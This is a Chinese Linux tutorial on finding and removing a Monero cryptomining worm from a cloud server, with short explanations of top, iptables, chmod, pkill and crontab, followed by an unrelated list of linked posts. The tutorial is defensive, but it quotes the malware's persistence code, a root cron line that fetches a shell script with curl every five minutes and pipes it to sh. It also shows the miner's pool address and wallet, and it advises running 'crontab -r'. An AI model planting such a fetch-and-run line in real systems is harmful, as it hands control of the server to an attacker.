最近受类似于比特币及区块链技术的影响,有些云服务器被攻入,植入挖矿病毒,利用你的云服务器来挖矿。本文就阐述几个常用的linux命令,假如你碰到这样的病毒,这些linux命令可能会有些帮助。这些命令并不完全是删除挖矿病毒的一种方面,它们更多的是一种通用的解决问题的方法,不单单局限于挖矿病毒。

解决方法

本文以这个挖矿进程来举例

3798 root      20   0  386m 7852 1272 S 300.0  0.1   4355:11 /tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofT

命令

top c(查看cpu,依照病毒进程占高CPU的特点找到病毒程序)

iptables -A INPUT -s xmr.crypto-pool.fr -j DROP

iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP(关闭对挖矿服务器的进出口访问)

chmod -x minerd (改变挖矿程序的执行权限)

pkill minerd (杀死进程)

service stop crond 或者 crontab -r (删除所有的执行计划)

(以上内容可以说是通用的,想把某个CPU占用很高的进程禁止了,都能用,下面的内容可能是个性化的,仅针对于某个挖矿病毒)

因为病毒有这样的代码

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://www.***.com/pm.sh?0105008 | sh" > /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs

echo "*/5 * * * * curl -fsSL http://www.***.com/pm.sh?0105008 | sh" > /var/spool/cron/crontabs/root

所以

检查/var/spool/cron/目录下发现有个root用户的定时器文件

其命令为

cd /var/ spool/cron/

删除下载病毒的脚本文件 删除的命令为

rm 文件

挖矿病毒主要是利用了redis的一些漏洞获得服务器的访问权限,然后植入病毒,即使更新漏洞,另外,可以

vim ~/.ssh/authorized_keys

删除不认识的账号,可以查看自己的用户列表,删除不认识的用户。

如果读者只是为了解决问题,读到这里就可以了,下面内容给出各个命令的详细解释,各个参数的意义等,以便学习方法,解决更多类似的问题。

命令解析

命令1

top c(作用,查看CPU,可以看一些进程占用的CPU,如果某个进程几乎占用了所有的CPU,那么这个进程可能就是病毒)

比如输入这个命令以后,假如服务器中了挖矿病毒,就可以看到和上述例子差不多的内容。

top命令可以实时动态地查看系统的整体运行情况,是一个综合了多方信息监测系统性能和运行信息的实用工具。通过top命令所提供的互动式界面,用热键可以管理。

Top – 系统时间 up 系统已经运行的时间(天) 1 user:1个用户当前登录 load average:系统负载,即任务队列的平均长度 tasks 总进程数 2 running 正在运行的进程数 86 sleeping 睡眠的进程数 0 stopped 停止的进程数 0 zombie 冻结的进程数 %cpu cpu利用率 其中 us(用户空间占比)sy(内核空间占比)ni(用户进程空间内改变过优先级的进程占比)id(空闲占比)wa(等待输入输出CPU占比)

后面两行是内存和交换区的一些数据。

命令2

iptables 的相关命令(作用,关闭对挖矿服务器的访问)

iptables -A INPUT -s xmr.crypto-pool.fr -j DROP

iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP

解释一下这个命令,iptables是防火墙相关的命令,参数A是添加的意思,两句话的作用是添加防火墙规则,分别是入方向的和出方向的 -s -d 分别指的是源和目的中间的是挖矿服务器的地址 -j ACTION :指定如何进行处理这里的ACTION是DROP,关闭。

命令3

chmod (改变执行权限)

chmod -x minerd

参数x的作用是执行或切换权限。 这个命令的作用是 取消minerd的执行权限。

命令4

pkill (杀掉进程)

pkill minerd

Pkill就是杀掉进程的命令,这个命令很简单,不用更多的解释了。

命令5

service stop crond 或者 crontab -r (删除所有的执行计划)

crond是一个daemon,它每分钟wake up一次,按照crontab里定义的形式来执行任务。

crontab是一个表的概念,用于告诉crond以何种形式执行。

总结

本文介绍了某个挖矿病毒的清除方式,并详细解释了一些linux命令,更多的想介绍这些命令,讲一个通用的方法。病毒是不断变化的,您看到这篇文章的时候,可能这个病毒已经成为过去式了,但是这些linux命令是不变的,掌握这些命令的知识,可以先进行一个简单的处理,然后再根据病毒的个性,进行进一步的处理。

相关主题

一键查杀linux挖矿脚本,这几个linux命令或许帮您查杀挖矿病毒相关推荐

  1. Linux Shell脚本入门--wget 命令用法详解

    Linux Shell脚本入门--wget 命令用法详解 wget是在Linux下开发的开放源代码的软件,作者是Hrvoje Niksic,后来被移植到包括Windows在内的各个平台上.它有以下功能 ...

  2. linux js脚本无法响应,执行Linux shell脚本时出错

    我想执行一个shell脚本来在dhtmlx实时更新的框架中启动nodejs服务器.根据dhtmlx文档,nodejs服务器将被放入web根目录.我已经写了位于/ var/WWW(其中的NodeJS文件 ...

  3. linux给脚本文件赋权限,linux编写.sh脚本并赋权限问题

    linux编写.sh脚本并赋权限问题 今日打包编译项目时,发现缺少一个git pull更新项目的脚本,所以在linux编写了一个gitpull.sh脚本,能够实现更新项目的需求. 1.首先vi  gi ...

  4. Linux Shell脚本中点号和source命令

    Linux中一个文件是根据其是否具有执行属性来判断他是否可以直接运行的.就像Windows下的exe一样.如果我们要执行某一个文件,可以先将其权限修改为可执行(必须是所有者或者root才能修改).然后 ...

  5. linux shell脚本攻略 第二章 命令之乐 cat,find,tr,sort,uniq,split等

    目录 1. 使用cat进行拼接 2.录制并回放终端会话 3.find命令 4. xargs命令 5. tr命令进行转换 6.校验和与核实(md5) 7.加密工具与散列 8.排序,唯一与重复 9.临时文 ...

  6. Linux shell 脚本文件@echo Off 关闭命令回显

    window的bat脚本用@echo off 就能关闭echo命令的输入显示,这样在echo后,提示的文字就不会那么难看 最近在写shell脚本,发现linux下的echo无法这样来处理 找了好久才找 ...

  7. linux常用脚本的使用方法,Linux常用命令用法100个

    Linux常用命令用法100个 发布时间:2013-05-25 13:53:27   作者:佚名   我要评论 平时用linux时,我有一个习惯就是把遇到的,比较有用,并且容易忘的命令,放到一个文本文 ...

  8. Linux Shell脚本编程--awk命令详解

    简单使用: awk :对于文件中一行行的独处来执行操作 . awk -F :'{print $1,$4}' :使用':'来分割这一行,把这一行的第一第四个域打印出来 . 详细介绍: AWK命令介绍 a ...

  9. linux ps 脚本下载,适用于GNU/Linux的Photoshop CC v19安装程序脚本

    Photoshop CC v19 installer for Linux是适用于Linux的Photoshop CC v19安装程序,此bash脚本可帮助您在后台使用Wine在Linux机器上安装Ph ...

最新文章

  1. SpringMVC - SpringMVC的概述
  2. php gd库 图片水印,php使用GD库实现文字图片水印及缩略图教程
  3. 转载:CSS垂直居中总结
  4. 群聊金山云与英特尔的“AI as a Service”,你都get到了什么?
  5. OpenStack SFC 深入剖析
  6. 刷 携程 地面业务 前端面试经历
  7. linux raw串口,linux下串口raw驱动(US100超声波)--Apple的学习笔记
  8. ajax获取信息发送短信,javascript ajax获取信息功能代码
  9. 回天科技工程师房工对十大硬盘数据恢复软件简评!
  10. 澳洲留学生面经,Java后端,阿里、头条、百度、华为、微策略
  11. Android 在导航栏上添加一个截屏按键,点击进行截屏
  12. Keras构建用于分类任务的Transformer(Vision Transformer/VIT)
  13. 51单片机外部中断的使用以及优先级设置
  14. linux 1000 ask(转)
  15. 2022-6-5 供暖器,最小差,两地调度,峰与谷
  16. 【Android取证篇】华为手机助手备份加密的版本
  17. 3.高精度加法(使用C++的string实现高精度加法运算的实例代码)包含auto解决办法
  18. 计算机技术在本专业的应用与探索3000字,【计算机专业论文】移动学习在计算机专业教学中的应用(共3000字)...
  19. 计算机英语多层,大学专业英语:计算机英语2
  20. 神通数据库ShenTong7在CentOS7上的安装与MySQL迁移遇到的兼容性问题

热门文章

  1. chmod chown
  2. Discuz 3.1 登陆ucenter验证码错误的解决
  3. php开放平台,千米开放平台
  4. 【ZYNQ】ZYNQ7000 UART 控制器及驱动应用示例
  5. LayUI数据表格的使用指南
  6. 按键精灵学习引导中心之宝藏图
  7. 第三周 青海之行——练练构图,培养你的摄影眼
  8. 【一天一个挨打小技巧】格式工厂+万能格式转换YYDS,重磅出击
  9. 与数字相关转换(包括英文和汉语拼音)
  10. Lesson9 【LINUX】将京淘项目发布到Linux系统上